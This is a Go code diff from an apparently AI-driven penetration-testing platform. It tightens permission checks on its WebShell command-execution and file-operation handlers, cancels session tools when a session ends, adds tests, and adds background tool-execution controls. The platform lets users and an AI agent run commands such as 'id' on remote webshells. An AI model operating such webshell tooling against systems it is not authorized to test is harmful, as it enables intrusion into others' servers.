"200": "assetImportCompleted",
"400": "assetImportValidationFailed",
"403": "assetImportForbidden",
"500": "assetImportTransactionFailed",
}
for status, want := range expectedResponseKeys {
response := responses[status].(map[string]interface{})
if got := response["x-i18n-description"]; got != want {
t.Errorf("unexpected asset response i18n key for %s: got %#v, want %q", status, got, want)
}
}
}
+10 -2
View File
@@ -252,7 +252,7 @@ type AgentTaskManager struct {
maxHistorySize int // 最大历史记录数
historyRetention time.Duration // 历史记录保留时间
eventBus *TaskEventBus // 可选:任务结束时关闭镜像 SSE 订阅
// toolCanceler 在用户整轮停止任务时终止当前 MCP 工具(非「中断并继续」)。
// toolCanceler 在用户整轮停止任务或会话结束时终止该会话仍在运行的 MCP 工具(非「中断并继续」)。
toolCanceler func(conversationID string)
}
@@ -284,7 +284,7 @@ func (m *AgentTaskManager) SetTaskEventBus(b *TaskEventBus) {
m.eventBus = b
}
// SetToolCanceler 设置整轮停止任务时终止当前 MCP 工具的回调(由 AgentHandler 注入)。
// SetToolCanceler 设置整轮停止任务/会话结束时终止仍在运行 MCP 工具的回调(由 AgentHandler 注入)。
func (m *AgentTaskManager) SetToolCanceler(fn func(conversationID string)) {
m.mu.Lock()
defer m.mu.Unlock()
@@ -444,6 +444,8 @@ func (m *AgentTaskManager) FinishTask(conversationID string, finalStatus string)
if finalStatus != "" {
task.Status = finalStatus
}
toolCanceler := m.toolCanceler
activeEinoExecuteCancel := task.activeEinoExecuteCancel
// 保存到历史记录
completedTask := &CompletedTask{
@@ -464,6 +466,12 @@ func (m *AgentTaskManager) FinishTask(conversationID string, finalStatus string)
delete(m.tasks, conversationID)
bus := m.eventBus
m.mu.Unlock()
if toolCanceler != nil {
toolCanceler(conversationID)
}
if activeEinoExecuteCancel != nil {
activeEinoExecuteCancel()
}
if bus != nil {
bus.CloseConversation(conversationID)
}
@@ -78,3 +78,23 @@ func TestCancelTaskDefaultCauseIsTaskCancelled(t *testing.T) {
t.Fatalf("expected tool canceler path for default cancel cause")
}
}
func TestFinishTaskInvokesToolCancelerOnSessionEnd(t *testing.T) {
tm := NewAgentTaskManager()
calls := 0
tm.SetToolCanceler(func(conversationID string) {
if conversationID == "conv-3" {
calls++
}
})
_, cancel := context.WithCancelCause(context.Background())
if _, err := tm.StartTask("conv-3", "hello", cancel); err != nil {
t.Fatalf("StartTask: %v", err)
}
tm.FinishTask("conv-3", "completed")
if calls != 1 {
t.Fatalf("expected one tool cleanup on FinishTask, got %d", calls)
}
}
+22 -10
View File
@@ -721,15 +721,22 @@ func (h *WebShellHandler) Exec(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"})
return
}
conn, allowed := h.authorizedWebshellConnection(c, req.ConnectionID, req.URL)
if !allowed {
// Pre-save connectivity tests send form credentials without connection_id.
// Saved connections must go through resource ACL; DB credentials are authoritative.
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
conn, allowed := h.authorizedWebshellConnection(c, cid, req.URL)
if !allowed {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
// Never let a caller pair an authorized ID with attacker-controlled
// transport credentials or a URL.
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
req.Method, req.CmdParam, req.Encoding = conn.Method, conn.CmdParam, conn.Encoding
} else if !security.SessionHasPermission(c, "webshell:write") {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
// The database record is authoritative. Never let a caller pair an
// authorized ID with attacker-controlled transport credentials or a URL.
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
req.Method, req.CmdParam, req.Encoding = conn.Method, conn.CmdParam, conn.Encoding
parsed, err := url.Parse(req.URL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
@@ -823,13 +830,18 @@ func (h *WebShellHandler) FileOp(c *gin.Context) {
c.JSON(http.StatusBadRequest, gin.H{"error": "url and action are required"})
return
}
conn, allowed := h.authorizedWebshellConnection(c, req.ConnectionID, req.URL)
if !allowed {
if cid := strings.TrimSpace(req.ConnectionID); cid != "" {
conn, allowed := h.authorizedWebshellConnection(c, cid, req.URL)
if !allowed {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
req.Method, req.CmdParam, req.Encoding, req.OS = conn.Method, conn.CmdParam, conn.Encoding, conn.OS
} else if !security.SessionHasPermission(c, "webshell:write") {
c.JSON(http.StatusForbidden, gin.H{"error": "无权访问该资源"})
return
}
req.URL, req.Password, req.Type = conn.URL, conn.Password, conn.Type
req.Method, req.CmdParam, req.Encoding, req.OS = conn.Method, conn.CmdParam, conn.Encoding, conn.OS
parsed, err := url.Parse(req.URL)
if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") {
+35 -3
View File
@@ -40,15 +40,47 @@ func TestWebshellExecRequiresConnectionAccessWhenConnectionIDProvided(t *testing
}
}
func TestWebshellExecRejectsAdHocURLWithoutConnectionID(t *testing.T) {
func TestWebshellExecAllowsAdHocURLWithoutConnectionID(t *testing.T) {
gin.SetMode(gin.TestMode)
_, user, _, _ := setupWebshellRBACTest(t)
handler := NewWebShellHandler(zap.NewNop(), nil)
// Ad-hoc probe (connectivity test before save) must not be rejected as "无权访问".
// The target URL will fail to connect; we only assert auth allows the request through.
w := performWebshellJSON(user, http.MethodPost, "/api/webshell/exec", map[string]interface{}{
"url": "http://127.0.0.1/admin", "command": "id",
"url": "http://127.0.0.1:1/admin", "command": "id",
}, handler.Exec)
if w.Code == http.StatusForbidden {
t.Fatalf("ad-hoc URL status = %d, want non-403: %s", w.Code, w.Body.String())
}
var resp ExecResponse
if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil {
t.Fatalf("decode response: %v body=%s", err, w.Body.String())
}
if resp.OK {
t.Fatalf("expected connection failure for closed port, got ok=true")
}
}
func TestWebshellExecRejectsAdHocWithoutWritePermission(t *testing.T) {
gin.SetMode(gin.TestMode)
user := &database.RBACUser{ID: "u_ro", Username: "readonly"}
handler := NewWebShellHandler(zap.NewNop(), nil)
payload, _ := json.Marshal(map[string]interface{}{
"url": "http://127.0.0.1/admin", "command": "id",
})
w := httptest.NewRecorder()
c, _ := gin.CreateTestContext(w)
c.Request = httptest.NewRequest(http.MethodPost, "/api/webshell/exec", bytes.NewReader(payload))
c.Request.Header.Set("Content-Type", "application/json")
c.Set(security.ContextSessionKey, security.Session{
UserID: user.ID,
Username: user.Username,
Permissions: map[string]bool{"webshell:read": true},
Scope: database.RBACScopeAssigned,
})
handler.Exec(c)
if w.Code != http.StatusForbidden {
t.Fatalf("ad-hoc URL status = %d, want %d: %s", w.Code, http.StatusForbidden, w.Body.String())
t.Fatalf("status = %d, want %d: %s", w.Code, http.StatusForbidden, w.Body.String())
}
}
+11
View File
@@ -31,6 +31,11 @@ const (
// 视觉分析(本地图片 → VL 模型 → 文本摘要)
ToolAnalyzeImage = "analyze_image"
// 长耗时工具执行控制(后台 execution 查询/等待/取消)
ToolGetToolExecution = "get_tool_execution"
ToolWaitToolExecution = "wait_tool_execution"
ToolCancelToolExecution = "cancel_tool_execution"
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
ToolWebshellExec = "webshell_exec"
ToolWebshellFileList = "webshell_file_list"
@@ -91,6 +96,9 @@ func IsBuiltinTool(toolName string) bool {
ToolListKnowledgeRiskTypes,
ToolSearchKnowledgeBase,
ToolAnalyzeImage,
ToolGetToolExecution,
ToolWaitToolExecution,
ToolCancelToolExecution,
ToolWebshellExec,
ToolWebshellFileList,
ToolWebshellFileRead,
@@ -149,6 +157,9 @@ func GetAllBuiltinTools() []string {
ToolListKnowledgeRiskTypes,
ToolSearchKnowledgeBase,
ToolAnalyzeImage,
ToolGetToolExecution,
ToolWaitToolExecution,
ToolCancelToolExecution,
ToolWebshellExec,
ToolWebshellFileList,
ToolWebshellFileRead,
+296
View File
@@ -0,0 +1,296 @@
package mcp
import (
"context"
"encoding/json"
"errors"
"fmt"
"strconv"
"strings"
"time"
"cyberstrike-ai/internal/mcp/builtin"
)
const (
defaultExecutionWaitTimeout = 60 * time.Second
maxExecutionWaitTimeout = 10 * time.Minute
defaultPartialPreviewBytes = 4096
maxPartialPreviewBytes = 64 * 1024
)
// RegisterExecutionControlTools exposes execution handle operations to Eino as
// ordinary MCP tools. This keeps the agent loop native: the model calls a tool,
// receives a bounded result, and may call wait_tool_execution again if needed.
func RegisterExecutionControlTools(server *Server, external *ExternalMCPManager) {
if server == nil {
return
}
server.RegisterTool(Tool{
Name: builtin.ToolGetToolExecution,
Description: "查询后台工具 execution 的当前状态、结果和错误。用于外部 MCP 工具等待超时后,凭 execution_id 继续查看进度。",
ShortDescription: "查询后台工具执行状态",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
"include_partial_output": map[string]interface{}{"type": "boolean", "description": "是否返回运行中已产生输出的尾部预览,默认 true"},
"partial_output_max_bytes": map[string]interface{}{"type": "number", "description": "partial_output 最多返回字节数,默认 4096,最大 65536"},
},
"required": []string{"execution_id"},
},
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
id := stringArg(args, "execution_id")
if id == "" {
return textToolResult("execution_id 必填", true), nil
}
exec := lookupToolExecution(server, external, id)
if exec == nil {
return textToolResult("未找到该 execution_id: "+id, true), nil
}
return textToolResult(formatExecutionForModel(exec, executionFormatOptionsFromArgs(args)), false), nil
})
server.RegisterTool(Tool{
Name: builtin.ToolWaitToolExecution,
Description: "继续等待一个后台工具 execution 完成。每次等待都有 timeout_seconds 上限;若仍未完成,会返回当前状态,模型可稍后再次调用。",
ShortDescription: "有界等待后台工具执行",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
"timeout_seconds": map[string]interface{}{"type": "number", "description": "本次最多等待秒数,默认 60,最大 600"},
"include_partial_output": map[string]interface{}{"type": "boolean", "description": "是否返回运行中已产生输出的尾部预览,默认 true"},
"partial_output_max_bytes": map[string]interface{}{"type": "number", "description": "partial_output 最多返回字节数,默认 4096,最大 65536"},
},
"required": []string{"execution_id"},
},
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
id := stringArg(args, "execution_id")
if id == "" {
return textToolResult("execution_id 必填", true), nil
}
wait := durationSecondsArg(args, "timeout_seconds", defaultExecutionWaitTimeout, maxExecutionWaitTimeout)
snap, err := waitToolExecutionSnapshot(ctx, server, external, id, wait)
if err != nil && !errors.Is(err, ErrExecutionWaitTimeout) {
return textToolResult("等待 execution 失败: "+err.Error(), true), nil
}
if snap == nil || snap.Execution == nil {
return textToolResult("未找到该 execution_id: "+id, true), nil
}
body := formatExecutionForModel(snap.Execution, executionFormatOptionsFromArgs(args))
if errors.Is(err, ErrExecutionWaitTimeout) {
body += "\n\n本次等待已到达 timeout_seconds,上述 execution 仍未完成。可继续等待、取消,或采用其他步骤。"
}
return textToolResult(body, false), nil
})
server.RegisterTool(Tool{
Name: builtin.ToolCancelToolExecution,
Description: "取消一个后台工具 execution。用于外部 MCP 工具长时间运行、误调用或用户要求停止时。",
ShortDescription: "取消后台工具执行",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"execution_id": map[string]interface{}{"type": "string", "description": "工具执行 ID"},
"reason": map[string]interface{}{"type": "string", "description": "取消原因,可选,会写入终止说明"},
},
"required": []string{"execution_id"},
},
}, func(ctx context.Context, args map[string]interface{}) (*ToolResult, error) {
id := stringArg(args, "execution_id")
if id == "" {
return textToolResult("execution_id 必填", true), nil
}
reason := stringArg(args, "reason")
if server.CancelToolExecutionWithNote(id, reason) {
return textToolResult("已请求取消内部工具 execution: "+id, false), nil
}
if external != nil && external.CancelToolExecutionWithNote(id, reason) {
return textToolResult("已请求取消外部 MCP execution: "+id, false), nil
}
return textToolResult("未找到进行中的 execution,或该 execution 已结束: "+id, true), nil
})
}
func waitToolExecutionSnapshot(ctx context.Context, server *Server, external *ExternalMCPManager, id string, wait time.Duration) (*ExecutionSnapshot, error) {
if server != nil && server.executionService != nil && server.executionService.getEntry(id) != nil {
return server.executionService.Wait(ctx, id, wait)
}
if external != nil && external.executionService != nil && external.executionService.getEntry(id) != nil {
return external.executionService.Wait(ctx, id, wait)
}
if server != nil && server.executionService != nil {
if snap, err := server.executionService.Get(id); err == nil {
return snap, nil
}
}
if external != nil && external.executionService != nil {
return external.executionService.Get(id)
}
exec := lookupToolExecution(server, external, id)
if exec == nil {
return nil, fmt.Errorf("execution not found: %s", id)
}
return &ExecutionSnapshot{Execution: exec}, nil
}
func lookupToolExecution(server *Server, external *ExternalMCPManager, id string) *ToolExecution {
if server != nil {
if exec, ok := server.GetExecution(id); ok && exec != nil {
return exec
}
}
if external != nil {
if exec, ok := external.GetExecution(id); ok && exec != nil {
return exec
}
}
return nil
}
type executionFormatOptions struct {
includePartialOutput bool
partialMaxBytes int
}
func executionFormatOptionsFromArgs(args map[string]interface{}) executionFormatOptions {
includePartial := true
if raw, ok := args["include_partial_output"]; ok {
if b, ok := raw.(bool); ok {
includePartial = b
} else if s := strings.TrimSpace(fmt.Sprint(raw)); s != "" {
includePartial = strings.EqualFold(s, "true") || s == "1" || strings.EqualFold(s, "yes")
}
}
maxBytes := intArg(args, "partial_output_max_bytes", defaultPartialPreviewBytes, maxPartialPreviewBytes)
return executionFormatOptions{includePartialOutput: includePartial, partialMaxBytes: maxBytes}
}
func formatExecutionForModel(exec *ToolExecution, opts executionFormatOptions) string {
if exec == nil {
return "execution: null"
}
payload := map[string]interface{}{
"execution_id": exec.ID,
"tool": exec.ToolName,
"status": exec.Status,
"started_at": exec.StartTime.Format(time.RFC3339),
}
if exec.EndTime != nil {
payload["ended_at"] = exec.EndTime.Format(time.RFC3339)
}
if exec.Duration > 0 {
payload["duration"] = exec.Duration.String()
}
if exec.Error != "" {
payload["error"] = exec.Error
}
if exec.Result != nil {
payload["result"] = ToolResultPlainText(exec.Result)
payload["is_error"] = exec.Result.IsError
}
if opts.includePartialOutput && exec.PartialOutput != "" {
partial := tailStringBytes(exec.PartialOutput, opts.partialMaxBytes)
payload["partial_output"] = partial
payload["partial_output_bytes"] = exec.PartialOutputBytes
payload["partial_output_truncated"] = exec.PartialOutputTruncated || len([]byte(partial)) < len([]byte(exec.PartialOutput))
if exec.PartialOutputUpdatedAt != nil {
payload["partial_output_updated_at"] = exec.PartialOutputUpdatedAt.Format(time.RFC3339)
}
}
b, err := json.MarshalIndent(payload, "", " ")
if err != nil {
return fmt.Sprintf("execution_id: %s\nstatus: %s\nerror: %s", exec.ID, exec.Status, exec.Error)
}
return string(b)
}
func tailStringBytes(s string, maxBytes int) string {
if maxBytes <= 0 {
maxBytes = defaultPartialPreviewBytes
}
b := []byte(s)
if len(b) <= maxBytes {
return s
}
return string(b[len(b)-maxBytes:])
}
func textToolResult(text string, isErr bool) *ToolResult {
return &ToolResult{Content: []Content{{Type: "text", Text: text}}, IsError: isErr}
}
func stringArg(args map[string]interface{}, key string) string {
if args == nil {
return ""
}
raw, ok := args[key]
if !ok || raw == nil {
return ""
}
switch v := raw.(type) {
case string:
return strings.TrimSpace(v)
default:
return strings.TrimSpace(fmt.Sprint(v))
}
}
func durationSecondsArg(args map[string]interface{}, key string, def, max time.Duration) time.Duration {
if args == nil {
return def
}
var seconds float64
switch v := args[key].(type) {
case int:
seconds = float64(v)
case int64:
seconds = float64(v)
case float64:
seconds = v
case json.Number:
f, _ := v.Float64()
seconds = f
case string:
f, _ := strconv.ParseFloat(strings.TrimSpace(v), 64)
seconds = f
}
if seconds <= 0 {
return def
}
d := time.Duration(seconds * float64(time.Second))
if max > 0 && d > max {
return max
}
return d
}
func intArg(args map[string]interface{}, key string, def, max int) int {
if args == nil {
return def
}
var n int
switch v := args[key].(type) {
case int:
n = v
case int64:
n = int(v)
case float64:
n = int(v)
case json.Number:
i, _ := v.Int64()
n = int(i)
case string:
i, _ := strconv.Atoi(strings.TrimSpace(v))
n = i
}
if n <= 0 {
return def
}
if max > 0 && n > max {
return max
}
return n
}
+625
View File
@@ -0,0 +1,625 @@
package mcp
import (
"context"
"errors"
"fmt"
"strings"
"sync"
"time"
"cyberstrike-ai/internal/authctx"
"github.com/google/uuid"
"go.uber.org/zap"
)
const (
ToolExecutionStatusQueued = "queued"
ToolExecutionStatusRunning = "running"
ToolExecutionStatusCompleted = "completed"
ToolExecutionStatusFailed = "failed"
ToolExecutionStatusCancelled = "cancelled"
ToolExecutionStatusHardTimeout = "hard_timeout"
ToolExecutionStatusOrphaned = "orphaned"
)
var ErrExecutionWaitTimeout = errors.New("tool execution wait timeout")
// ExecutionRunFunc is the blocking operation owned by a worker.
type ExecutionRunFunc func(context.Context) (*ToolResult, error)
type ExecutionPreRunFunc func(context.Context, *ToolExecution) (func(), error)
// ExecutionDoneFunc observes the final persisted state. It is invoked once,
// including for late completions after an agent has stopped waiting.
type ExecutionDoneFunc func(*ToolExecution)
type ExecutionRequest struct {
ID string
ToolName string
Arguments map[string]interface{}
ConversationID string
OwnerUserID string
HardTimeout time.Duration
PreRun ExecutionPreRunFunc
Run ExecutionRunFunc
OnDone ExecutionDoneFunc
}
type ExecutionHandle struct {
ID string
}
type ExecutionSnapshot struct {
Execution *ToolExecution
}
type executionEntry struct {
exec *ToolExecution
cancel context.CancelFunc
done chan struct{}
preRun ExecutionPreRunFunc
run ExecutionRunFunc
result *ToolResult
err error
}
// ExecutionService keeps Eino-facing tool calls synchronous while moving the
// untrusted blocking work into cancellable workers with explicit execution IDs.
type ExecutionService struct {
storage MonitorStorage
logger *zap.Logger
mu sync.Mutex
entries map[string]*executionEntry
abortUserNotes map[string]string
maxInMemory int
resultMaxBytes int
spillRootDir string
}
func NewExecutionService(storage MonitorStorage, logger *zap.Logger) *ExecutionService {
if logger == nil {
logger = zap.NewNop()
}
return &ExecutionService{
storage: storage,
logger: logger,
entries: make(map[string]*executionEntry),
abortUserNotes: make(map[string]string),
maxInMemory: 1000,
resultMaxBytes: DefaultToolResultMaxBytes,
}
}
func (s *ExecutionService) ConfigureToolResultMaxBytes(maxBytes int) {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
s.resultMaxBytes = maxBytes
}
// ConfigureToolResultSpillRoot sets the reduction-compatible root used when
// oversized tool results are spilled to local files (empty → tmp/reduction).
func (s *ExecutionService) ConfigureToolResultSpillRoot(rootDir string) {
if s == nil {
return
}
s.mu.Lock()
defer s.mu.Unlock()
s.spillRootDir = strings.TrimSpace(rootDir)
}
func (s *ExecutionService) Submit(ctx context.Context, req ExecutionRequest) (*ExecutionHandle, error) {
if s == nil {
return nil, fmt.Errorf("execution service is nil")
}
if req.Run == nil {
return nil, fmt.Errorf("execution run func is nil")
}
id := strings.TrimSpace(req.ID)
if id == "" {
id = uuid.New().String()
}
start := time.Now()
exec := &ToolExecution{
ID: id,
ToolName: strings.TrimSpace(req.ToolName),
Arguments: cloneArgsMap(req.Arguments),
Status: ToolExecutionStatusQueued,
StartTime: start,
ConversationID: strings.TrimSpace(req.ConversationID),
OwnerUserID: strings.TrimSpace(req.OwnerUserID),
}
if exec.ConversationID == "" {
exec.ConversationID = MCPConversationIDFromContext(ctx)
}
if exec.OwnerUserID == "" {
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
exec.OwnerUserID = principal.UserID
}
}
runCtx := detachedExecutionContext(ctx)
var cancel context.CancelFunc
if req.HardTimeout > 0 {
runCtx, cancel = context.WithTimeout(runCtx, req.HardTimeout)
} else {
runCtx, cancel = context.WithCancel(runCtx)
}
entry := &executionEntry{exec: exec, cancel: cancel, done: make(chan struct{}), preRun: req.PreRun, run: req.Run}
s.mu.Lock()
if _, exists := s.entries[id]; exists {
s.mu.Unlock()
cancel()
return nil, fmt.Errorf("execution already exists: %s", id)
}
s.entries[id] = entry
s.cleanupOldEntriesLocked()
s.mu.Unlock()
if s.storage != nil {
if err := s.storage.SaveToolExecution(exec); err != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err), zap.String("executionId", id))
}
}
notifyToolRunBegin(ctx, id)
go s.runWorker(runCtx, entry, req.OnDone)
return &ExecutionHandle{ID: id}, nil
}
func (s *ExecutionService) runWorker(ctx context.Context, entry *executionEntry, onDone ExecutionDoneFunc) {
id := entry.exec.ID
ctx = WithMCPExecutionID(ctx, id)
if conv := strings.TrimSpace(entry.exec.ConversationID); conv != "" {
ctx = WithMCPConversationID(ctx, conv)
}
var release func()
defer func() {
if release != nil {
release()
}
entry.cancel()
notifyToolRunEnd(ctx, id)
close(entry.done)
}()
if entry.preRun != nil {
var preErr error
release, preErr = entry.preRun(ctx, cloneToolExecution(entry.exec))
if preErr != nil {
s.finishEntry(ctx, entry, nil, preErr, onDone)
return
}
}
s.markEntryRunning(entry)
result, err := entryResultRecover(ctx, entry.exec.ToolName, s.logger, func() (*ToolResult, error) {
return nilSafeRun(ctx, entry)
})
s.finishEntry(ctx, entry, result, err, onDone)
}
func (s *ExecutionService) markEntryRunning(entry *executionEntry) {
if s == nil || entry == nil || entry.exec == nil {
return
}
s.mu.Lock()
if !isExecutionTerminal(entry.exec.Status) {
entry.exec.Status = ToolExecutionStatusRunning
}
runningExec := cloneToolExecution(entry.exec)
s.mu.Unlock()
if s.storage != nil {
if err := s.storage.SaveToolExecution(runningExec); err != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err), zap.String("executionId", runningExec.ID))
}
}
}
func (s *ExecutionService) finishEntry(ctx context.Context, entry *executionEntry, result *ToolResult, err error, onDone ExecutionDoneFunc) {
id := entry.exec.ID
cancelledWithUserNote := s.applyAbortUserNoteToCancelledToolResult(id, &result, &err)
now := time.Now()
s.mu.Lock()
spill := ToolResultSpillConfig{
RootDir: s.spillRootDir,
ConversationID: entry.exec.ConversationID,
ExecutionID: id,
}
if ctx != nil {
if pid := MCPProjectIDFromContext(ctx); pid != "" {
spill.ProjectID = pid
}
if conv := MCPConversationIDFromContext(ctx); conv != "" {
spill.ConversationID = conv
}
}
result = NormalizeToolResultForStorageWithSpill(result, s.resultMaxBytes, spill)
entry.result = result
entry.err = err
entry.exec.EndTime = &now
entry.exec.Duration = now.Sub(entry.exec.StartTime)
if err != nil {
switch {
case errors.Is(err, context.DeadlineExceeded):
entry.exec.Status = ToolExecutionStatusHardTimeout
entry.exec.Error = "工具执行超过硬超时限制"
case errors.Is(err, context.Canceled):
entry.exec.Status = ToolExecutionStatusCancelled
entry.exec.Error = "已手动终止或任务已取消"
default:
entry.exec.Status = ToolExecutionStatusFailed
entry.exec.Error = err.Error()
}
} else if result != nil && result.IsError {
if cancelledWithUserNote {
entry.exec.Status = ToolExecutionStatusCancelled
entry.exec.Error = ""
} else if isBackgroundWaitToolResult(result) {
entry.exec.Status = ToolExecutionStatusCompleted
entry.exec.Error = ""
} else {
entry.exec.Status = ToolExecutionStatusFailed
entry.exec.Error = firstToolResultText(result, "工具执行返回错误结果")
}
entry.exec.Result = result
} else {
entry.exec.Status = ToolExecutionStatusCompleted
if result == nil {
result = &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}}
entry.result = result
}
entry.exec.Result = result
}
finalExec := cloneToolExecution(entry.exec)
s.mu.Unlock()
if s.storage != nil {
if saveErr := s.storage.SaveToolExecution(finalExec); saveErr != nil {
s.logger.Warn("保存执行记录到数据库失败", zap.Error(saveErr), zap.String("executionId", id))
}
}
if onDone != nil {
onDone(finalExec)
}
}
func nilSafeRun(ctx context.Context, entry *executionEntry) (*ToolResult, error) {
if entry == nil {
return nil, fmt.Errorf("execution entry is nil")
}
if entry.run == nil {
return nil, fmt.Errorf("execution run func not wired")
}
return entry.run(ctx)
}
func entryResultRecover(ctx context.Context, toolName string, logger *zap.Logger, fn func() (*ToolResult, error)) (res *ToolResult, err error) {
defer func() {
if r := recover(); r != nil {
if logger != nil {
logger.Error("tool execution worker panic recovered", zap.Any("recover", r), zap.String("toolName", toolName), zap.Stack("stack"))
}
err = fmt.Errorf("tool execution panic: %v", r)
}
}()
return fn()
}
func (s *ExecutionService) Wait(ctx context.Context, executionID string, timeout time.Duration) (*ExecutionSnapshot, error) {
entry := s.getEntry(executionID)
if entry == nil {
return s.getPersistedSnapshot(executionID)
}
if isExecutionTerminal(entry.exec.Status) {
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
}
var timeoutCh <-chan time.Time
var timer *time.Timer
if timeout > 0 {
timer = time.NewTimer(timeout)
timeoutCh = timer.C
defer timer.Stop()
}
select {
case <-entry.done:
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
case <-timeoutCh:
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, ErrExecutionWaitTimeout
case <-ctxDone(ctx):
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, ctx.Err()
}
}
func (s *ExecutionService) Get(executionID string) (*ExecutionSnapshot, error) {
entry := s.getEntry(executionID)
if entry != nil {
return &ExecutionSnapshot{Execution: cloneToolExecution(entry.exec)}, nil
}
return s.getPersistedSnapshot(executionID)
}
func (s *ExecutionService) AppendPartialOutput(executionID, chunk string) bool {
id := strings.TrimSpace(executionID)
if s == nil || id == "" || chunk == "" {
return false
}
now := time.Now()
s.mu.Lock()
defer s.mu.Unlock()
entry := s.entries[id]
if entry == nil || entry.exec == nil {
return false
}
appendPartialOutput(entry.exec, chunk, defaultPartialOutputMaxBytes, now)
return true
}
func (s *ExecutionService) Cancel(executionID, note string) bool {
id := strings.TrimSpace(executionID)
if id == "" || s == nil {
return false
}
s.mu.Lock()
entry := s.entries[id]
if entry == nil || isExecutionTerminal(entry.exec.Status) {
s.mu.Unlock()
return false
}
if strings.TrimSpace(note) != "" {
s.abortUserNotes[id] = strings.TrimSpace(note)
}
cancel := entry.cancel
s.mu.Unlock()
if cancel != nil {
cancel()
}
return true
}
func (s *ExecutionService) ActiveRunningExecutionIDs() map[string]struct{} {
if s == nil {
return nil
}
s.mu.Lock()
defer s.mu.Unlock()
out := make(map[string]struct{})
for id, entry := range s.entries {
if entry != nil && entry.exec != nil && !isExecutionTerminal(entry.exec.Status) {
out[id] = struct{}{}
}
}
if len(out) == 0 {
return nil
}
return out
}
func (s *ExecutionService) CancelAll(note string) {
if s == nil {
return
}
s.mu.Lock()
cancels := make([]context.CancelFunc, 0, len(s.entries))
for id, entry := range s.entries {
if entry == nil || isExecutionTerminal(entry.exec.Status) {
continue
}
if strings.TrimSpace(note) != "" {
s.abortUserNotes[id] = strings.TrimSpace(note)
}
if entry.cancel != nil {
cancels = append(cancels, entry.cancel)
}
}
s.mu.Unlock()
for _, cancel := range cancels {
cancel()
}
}
func (s *ExecutionService) getEntry(executionID string) *executionEntry {
if s == nil {
return nil
}
id := strings.TrimSpace(executionID)
if id == "" {
return nil
}
s.mu.Lock()
defer s.mu.Unlock()
return s.entries[id]
}
func (s *ExecutionService) getPersistedSnapshot(executionID string) (*ExecutionSnapshot, error) {
id := strings.TrimSpace(executionID)
if id == "" {
return nil, fmt.Errorf("execution_id is required")
}
if s != nil && s.storage != nil {
exec, err := s.storage.GetToolExecution(id)
if err == nil && exec != nil {
return &ExecutionSnapshot{Execution: exec}, nil
}
if err != nil {
return nil, err
}
}
return nil, fmt.Errorf("execution not found: %s", id)
}
func (s *ExecutionService) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
note := strings.TrimSpace(s.takeAbortUserNote(executionID))
if note == "" {
return false
}
hasErr := err != nil && *err != nil
hasRes := result != nil && *result != nil
if !hasErr && !hasRes {
return false
}
partial := ""
if hasRes {
partial = ToolResultPlainText(*result)
}
if partial == "" && hasErr {
partial = (*err).Error()
}
merged := MergePartialToolOutputAndAbortNote(partial, note)
if err != nil {
*err = nil
}
if result != nil {
*result = &ToolResult{Content: []Content{{Type: "text", Text: merged}}, IsError: true}
}
return true
}
func (s *ExecutionService) takeAbortUserNote(id string) string {
s.mu.Lock()
defer s.mu.Unlock()
note := s.abortUserNotes[id]
delete(s.abortUserNotes, id)
return note
}
func (s *ExecutionService) cleanupOldEntriesLocked() {
if s.maxInMemory <= 0 || len(s.entries) <= s.maxInMemory {
return
}
type oldEntry struct {
id string
startTime time.Time
}
var terminal []oldEntry
for id, entry := range s.entries {
if entry != nil && entry.exec != nil && isExecutionTerminal(entry.exec.Status) {
terminal = append(terminal, oldEntry{id: id, startTime: entry.exec.StartTime})
}
}
for len(s.entries) > s.maxInMemory && len(terminal) > 0 {
oldest := 0
for i := 1; i < len(terminal); i++ {
if terminal[i].startTime.Before(terminal[oldest].startTime) {
oldest = i
}
}
delete(s.entries, terminal[oldest].id)
terminal = append(terminal[:oldest], terminal[oldest+1:]...)
}
}
func firstToolResultText(result *ToolResult, fallback string) string {
if result != nil {
for _, c := range result.Content {
if strings.TrimSpace(c.Text) != "" {
return c.Text
}
}
}
return fallback
}
func isBackgroundWaitToolResult(result *ToolResult) bool {
text := strings.ToLower(strings.TrimSpace(ToolResultPlainText(result)))
if text == "" {
return false
}
hasExecutionID := strings.Contains(text, "execution_id:") || strings.Contains(text, `"execution_id"`)
hasRunningStatus := strings.Contains(text, "status: running") || strings.Contains(text, "status: queued") ||
strings.Contains(text, `"status": "running"`) || strings.Contains(text, `"status":"running"`) ||
strings.Contains(text, `"status": "queued"`) || strings.Contains(text, `"status":"queued"`)
hasSoftWaitSignal := strings.Contains(text, "工具已提交到后台执行") ||
strings.Contains(text, "本次等待已到达") ||
strings.Contains(text, "wait_timeout:") ||
strings.Contains(text, "background execution") ||
strings.Contains(text, "still running") ||
strings.Contains(text, "仍未完成")
